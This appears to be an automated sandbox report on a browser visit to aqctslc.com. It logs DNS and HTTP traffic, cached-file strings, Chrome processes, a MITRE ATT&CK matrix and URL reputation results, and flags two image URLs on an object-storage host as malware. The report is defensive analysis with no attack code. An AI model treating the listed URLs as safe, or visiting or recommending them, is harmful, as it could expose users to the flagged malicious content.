Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: aqctslc.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: aqctslc.com
Source: global traffic	DNS traffic detected: DNS query: imagesspace.hks3.layerstackobjects.com
Source: global traffic	DNS traffic detected: DNS query: sdk.51.la
Source: global traffic	DNS traffic detected: DNS query: collect-v6.51.la
Source: global traffic	DNS traffic detected: DNS query: zz.bdstatic.com
Source: global traffic	DNS traffic detected: DNS query: sp0.baidu.com

Source: unknown

HTTP traffic detected: POST /v6/collect?dt=4 HTTP/1.1Host: collect-v6.51.laConnection: keep-aliveContent-Length: 337sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://aqctslc.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://aqctslc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_181.3.dr	String found in binary or memory: http://19000yy.com
Source: chromecache_128.3.dr, chromecache_152.3.dr	String found in binary or memory: http://bas2k.ru/
Source: chromecache_128.3.dr, chromecache_152.3.dr	String found in binary or memory: http://code.google.com/p/jquery-appear/
Source: chromecache_180.3.dr, chromecache_146.3.dr, chromecache_160.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_181.3.dr	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: chromecache_164.3.dr	String found in binary or memory: http://www.meanthemes.com/plugins/meanmenu/)
Source: chromecache_128.3.dr, chromecache_152.3.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_181.3.dr	String found in binary or memory: http://yfjizhuangxiang.com
Source: chromecache_181.3.dr	String found in binary or memory: http://zhushick.com
Source: chromecache_181.3.dr	String found in binary or memory: http://zzfdsm.com
Source: chromecache_146.3.dr	String found in binary or memory: https://animate.style/
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/about.html
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/contact.html
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/news.html
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/service.html
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/sitemap.xml
Source: chromecache_181.3.dr	String found in binary or memory: https://aqctslc.com/works.html
Source: chromecache_103.3.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Nunito
Source: chromecache_103.3.dr	String found in binary or memory: https://fonts.googleapis.com/css2?family=Work
Source: chromecache_121.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/nunitosans/v15/pe0RMImSLYBIv1o4X1M8cce4OdVisMz5nZRqy6cmmmU3t2FQWEAEOvV9w
Source: chromecache_121.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/nunitosans/v15/pe0TMImSLYBIv1o4X1M8ce2xCx3yop4tQpF_MeTm0lfGWVpNn64CL7U8u
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYqz_wNahGAdqQ43Rh_eZDkv_1w4A.woff2)
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYqz_wNahGAdqQ43Rh_eZDlv_1w4A.woff2)
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYqz_wNahGAdqQ43Rh_eZDrv_0.woff2)
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYsz_wNahGAdqQ43Rh_c6Dpp_k.woff2)
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYsz_wNahGAdqQ43Rh_cqDpp_k.woff2)
Source: chromecache_115.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/worksans/v19/QGYsz_wNahGAdqQ43Rh_fKDp.woff2)
Source: chromecache_123.3.dr, chromecache_106.3.dr, chromecache_158.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_180.3.dr, chromecache_160.3.dr	String found in binary or memory: https://github.com/1000hz/bootstrap-validator
Source: chromecache_125.3.dr, chromecache_150.3.dr, chromecache_101.3.dr, chromecache_135.3.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: chromecache_147.3.dr	String found in binary or memory: https://github.com/Remix-Design/RemixIcon
Source: chromecache_128.3.dr, chromecache_152.3.dr	String found in binary or memory: https://github.com/bas2k/jquery.appear/
Source: chromecache_123.3.dr, chromecache_106.3.dr, chromecache_158.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_123.3.dr, chromecache_106.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_181.3.dr	String found in binary or memory: https://imagesspace.hks3.layerstackobjects.com/images/img_678003648509e8.27521784.png
Source: chromecache_181.3.dr	String found in binary or memory: https://imagesspace.hks3.layerstackobjects.com/images/img_678003710aa442.93325130.jpeg
Source: chromecache_181.3.dr	String found in binary or memory: https://imagesspace.hks3.layerstackobjects.com/images/img_678003721e3aa9.20406748.jpeg
Source: chromecache_181.3.dr	String found in binary or memory: https://imagesspace.hks3.layerstackobjects.com/images/img_678003bd8a5647.43110570.jpeg
Source: chromecache_181.3.dr	String found in binary or memory: https://imagesspace.hks3.layerstackobjects.com/images/img_678003ec457cb9.14918951.jpeg
Source: chromecache_134.3.dr, chromecache_105.3.dr	String found in binary or memory: https://mhrtheme.us14.list-manage.com/subscribe/post?u=c9ae94df12a9a98a25374514c&id=46abfc95a7&a
Source: chromecache_147.3.dr	String found in binary or memory: https://remixicon.com
Source: chromecache_166.3.dr, chromecache_138.3.dr	String found in binary or memory: https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif
Source: chromecache_135.3.dr	String found in binary or memory: https://templates.mhrtheme.com/yango/assets/css/owl.video.play.png)
Source: chromecache_147.3.dr	String found in binary or memory: https://templates.mhrtheme.com/yango/assets/fonts/remixicon.svg?t=1590207869815#remixicon
Source: chromecache_187.3.dr, chromecache_173.3.dr	String found in binary or memory: https://wowjs.uk
Source: chromecache_181.3.dr	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50111 version: TLS 1.2

Source: classification engine

Classification label: mal52.win@17/157@26/15

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1964,i,745992911517592731,6057134099655123550,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://aqctslc.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1964,i,745992911517592731,6057134099655123550,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://aqctslc.com/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://aqctslc.com/themes/static/image/shape3.png	0%	Avira URL Cloud	safe
http://zzfdsm.com	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/discover.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/owl.carousel.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/subscribe.png	0%	Avira URL Cloud	safe
http://www.meanthemes.com/plugins/meanmenu/)	0%	Avira URL Cloud	safe
https://aqctslc.com/favicon.ico	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/bing-wan-ying.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/odometer.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/jquery.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/jzwkqucn.js	0%	Avira URL Cloud	safe
https://imagesspace.hks3.layerstackobjects.com/images/img_678003710aa442.93325130.jpeg	100%	Avira URL Cloud	malware
https://aqctslc.com/themes/static/image/services-icon6.png	0%	Avira URL Cloud	safe
https://imagesspace.hks3.layerstackobjects.com/images/img_678003bd8a5647.43110570.jpeg	100%	Avira URL Cloud	malware
http://yfjizhuangxiang.com	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/wow.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/main.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/shen-zi-shan.png	0%	Avira URL Cloud	safe
https://aqctslc.com/about.html	0%	Avira URL Cloud	safe
https://aqctslc.com	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/style.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/skrill.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/animate.min.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/meanmenu.min.css	0%	Avira URL Cloud	safe
https://wowjs.uk	0%	Avira URL Cloud	safe
https://remixicon.com	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/bootstrap.min.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/css/remixicon.css	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/cta.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/services-icon3.png	0%	Avira URL Cloud	safe
http://19000yy.com	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/bg1.jpg	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/image/feedback.png	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/form-validator.min.js	0%	Avira URL Cloud	safe
https://aqctslc.com/themes/static/js/meanmenu.min.js	0%	Avira URL Cloud	safe
